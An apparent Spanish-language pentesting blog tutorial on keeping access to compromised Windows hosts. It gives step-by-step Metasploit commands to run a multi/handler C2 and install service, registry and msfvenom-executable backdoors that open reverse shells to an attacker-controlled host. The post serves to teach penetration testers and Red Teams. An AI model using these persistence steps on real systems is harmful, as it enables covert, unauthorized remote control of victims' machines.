Instalación de Puertas Traseras (Persistencia)
Es común en ciertos entornos que las shell remotas que se han logrado ejecutar en los equipos comprometido mueran de manera repentina.
Existen numerosos factores que pueden desencadenar que una shell remota se termine de manera inesperada. Por ejemplo:
- Caída del sistema o apagado del equipo.
- Caída del servicio en el que se encuentra inyectado el proceso de la shell.
- El proceso se vuelve inestable.
Cuando se produce este tipo de situaciones, una solución puede ser volver a comprometer el sistema remoto a través de la vulnerabilidad desde la que se explotó la primera vez.
Otra opción, y la más adecuada, consiste en establecer una persistencia en el equipo vulnerado, mediante una puerta trasera o similar. De esta manera no es necesario volver a comprometer el equipo.
Dado que obtener acceso a un equipo es una tarea complicada y que con un simple reinicio del equipo victima se perdería dicho acceso, resulta muy conveniente llevar a cabo acciones que permitan mantenerlo o recuperarlo en toda circunstancia. Para ello se pueden utilizar diferente técnicas, como pueden ser crear usuarios, abrir puertos, crear tareas programadas que abran conexiones salientes, o utilizar rootkits.
Es recomendable utilizar al menos dos mecanismos diferentes de persistencia. De esta forma, si se pierde el acceso inicial se podrá hacer uso de una de ellas para realizar una nueva intrusion y dejar la segunda como mecanismo de emergencia, en caso de que la primera falle.
Persistencia en un equipo comprometido
En ciertos tipos de ejercicios, como los test de intrusión o los ejercicios de Red Team, es necesario mantener el acceso al equipo comprometido, con el mayor nivel de privilegios obtenido.
Esta situación se vuelve imprescindible por si en algún momento nos es necesario volver a acceder al sistema a realizar alguna tarea, extraer información, o utilizarlo de puente para pivotar a otras redes.
En este caso es posible que el vector de acceso que hubiéramos utilizado para comprometer el equipo ya hubiera sido solventado y no pudiéramos acceder de nuevo. Aunque esto último no fuera así, y el vector de acceso aún estuviera presente, deberíamos replicar toda la cadena de ataque en el sistema para volver a comprometer el equipo.
Para evitar todos estos “rodeos”, se puede dejar un acceso secundario, conocido normalmente como “backdoor”. Este acceso permanece oculto y a la espera de ordenes para reactivarse.
Normalmente se utilizan servidores de control conocidos como “C2C”, a los que el equipo comprometido se conecta cada cierto tiempo a la espera de recibir ordenes. En caso de que el auditor quisiera establecer la conexión se lo indica a la víctima a través del servidor C2C, el cual le comunica la orden a la víctima para que realice una conexión inversa contra otro servidor que controle el atacante.
Persistencia
En ocasiones es necesario mantener el acceso al equipo comprometido mediante un canal de acceso secundario.
El acceso permanece oculto y a la espera de ordenes proporcionadas por un servidor de tipo C2.
En caso de querer utilizar el canal secundario, el servidor C2 ordena a la víctima iniciar una Shell inversa contra un servidor que controle el auditor.
Las opciones más comunes de persistencia son:
- Persistencia en servicio
- Persistencia en registro
- Persistencia en cron/tareas automáticas.
Handler / servidor C2
Para realizar la persistencia necesitamos configurar un servidor C2 (Command and Control) que atenderá las conexiones de persistencia.
El propio Metasploit dispone de un servidor C2 llamado “Multihandler” dado que soporta la gestión de distintos payloads.
msf6 > use exploit/multi/handler
Una de las opciones a configurar aleatoriamente consiste en la selección del payload que está ejecutando la víctima para que el Multihandler sepa como comunicarse la shellcode que se ha inyectado en el equipo víctima:
msf6 exploit (handler)> set PAYLOAD <ruta_payload>
Debemos configurar las opciones del multihandler IP y Puerto en el que opera el multihandler y el proceso. Recodar que tendréis que indicar luego la misma configuración para configurar el payload que se inyectará a la víctima.
msf6 exploit (handler)> set LHOST <Dirección IP del handler>
msf6 exploit (handler)> set LPORT <Puerto del Handler>
Otra opción muy importante que es necesario configurar en el multihandler es indicarle que al recibir la primera sesión el Handler se siga ejecutado y de esta manera pueda gestionar todas las shells de meterpreter que vaya recibiendo con esta configuración (En caso contrario, el multihandler sólo gestionaría una shell.)
Para configurar esta opción habrá que establecer el valor de la variable "ExitOnSession" a "False":
msf6 exploit (handler)> set ExitOnSession False
Una vez configuradas todas las opciones, iniciaremos el handler como un job para que se mantenga hasta que salgamos de Metasploit:
msf6> run -jnz
Una vez iniciado con el comando jobs podremos ver si está activo, e incluso pararlo:
msf6> jobs
Persistencia con meterpreter
Una vez establecido el servidor Multihandler ya podemos realizar el proceso de persistencia dado que tenemos un servidor C2 que gestionará las conexiones.
El propio meterpreter dispone de unas opciones básicas de persistencia que permiten configurar el equipo víctima (Windows) para que se vuelva a establecer una conexión con la máquina del atacante cada cierto tiempo.
Cabe destacar que Metasploit dispone de varios módulos de postexplotación para persistencia:
- exploit/windows/local/persistence_service
- exploit/windows/local/registry_persistence
- post/windows/manage/persistence_exe
A continuación os detallamos cada una de estas técnicas.
- Persistencia en servicio con Metasploit
La persistencia en servicio consiste en generar un servicio fraudulento (Windows) al que iniciará la conexión contra el C2 cada vez que se inicie el servicio. Para poder instalar el servicio necesitaremos privilegios elevados.
El propio Metasploit dispone de un módulo para instalar un servicio fraudulento a través de una sesión privilegiada de meterpreter. Si la sesión no tiene privilegios para crear un servicio este ataque no podrá ejecutarse.
msf 6 > use exploit/windows/local/persistence_service
Las opciones a indicar serán la dirección IP y puerto del servidor C2 y la sesión de meterpreter en la máquina comprometida sobre la que se aplica la persistencia.
msf6 exploit (windows/local/persistence_service)> set LHOST <Dirección IP del handler>
msf6 exploit (windows/local/persistence_service)> set LPORT <Puerto del Handler>
msf6 exploit (windows/local/persistence_service)> set SESSION <id de sesión meterpreter activa>
Una vez configurado el módulo se ejecuta con la orden "run". Si todo ha ido bien se creará un nuevo servicio en el sistema remoto y el multihandler recibirá la conexión de la shell inversa y se generará una nueva sesión.
msf 6 > run
- Persistencia en registro con Metasploit
La persistencia en el registro consiste en modificar el registro de Windows para que ejecute un proceso, que realizará la conexión contra el C2, siempre que un usuario inicie la sesión en el equipo. Dependerá de los privilegios del usuario que la sesión tenga privilegios elevados.
El propio Metasploit dispone de un módulo para instalar un ejecutable fraudulento a través de una sesión de meterpreter.
Metasploit > use exploit/windows/local/registry_persistence
Al igual que en la mayoría de los módulos de persistencia, las opciones a indicar serán la dirección IP y puerto del servidor C2 y la sesión de meterpreter sobre la que se aplica la persistencia.
msf6 exploit (windows/local/registry_persistence)> set LHOST <Dirección IP del handler>
msf6 exploit (windows/local/registry_persistence)> set LPORT <Puerto del Handler>
msf6 exploit (windows/local/registry_persistence)> set SESSION <id de sesión meterpreter activa>
Una vez configurado el módulo se ejecuta con la orden "run". Si todo ha ido bien se creará un nuevo servicio en el sistema remoto y el multihandler recibirá la conexión de la shell inversa y se generará una nueva sesión.
msf 6 > run
- Persistencia en registro con Metasploit y ejecutable generado
De manera similar al caso anterior, pero esta vez indicamos el ejecutable .exe que queremos que se ejecute en cada inicio de sesión del usuario.
La ventaja que ofrece este módulo frente al anterior es que podríamos forzar la ejecución de otra shellcode distinta, además que podemos generar una shellcode ofuscada con msfvenom.
El propio Metasploit dispone de un módulo para subir el binario y modificar el registro a través de una sesión de meterpreter.
msf6 exploit (windows/local/persistence_exe)> set SESSION <id de sesión meterpreter activa>
msf6 exploit (windows/local/persistence_exe)> set rexepath <Path dónde se encuentra el exe generado con msfvenom>
Una vez configurado el módulo se ejecuta con la orden "run". Si todo ha ido bien se creará un nuevo servicio en el sistema remoto y el multihandler recibirá la conexión de la shell inversa y se generará una nueva sesión.
msf 6 > run
En este caso las opciones a indicar será la sesión de meterpreter sobre la que se aplica la persistencia y el ejecutable .exe que queremos que realice la persistencia. Debido a que el ejecutable .exe lo generamos con la herramienta msfvenom (tal y como vimos anteriormente en otra entrada de este blog) la dirección ip y puerto del servidor C2 se encuentran configurados en el propio fichero ejecutable.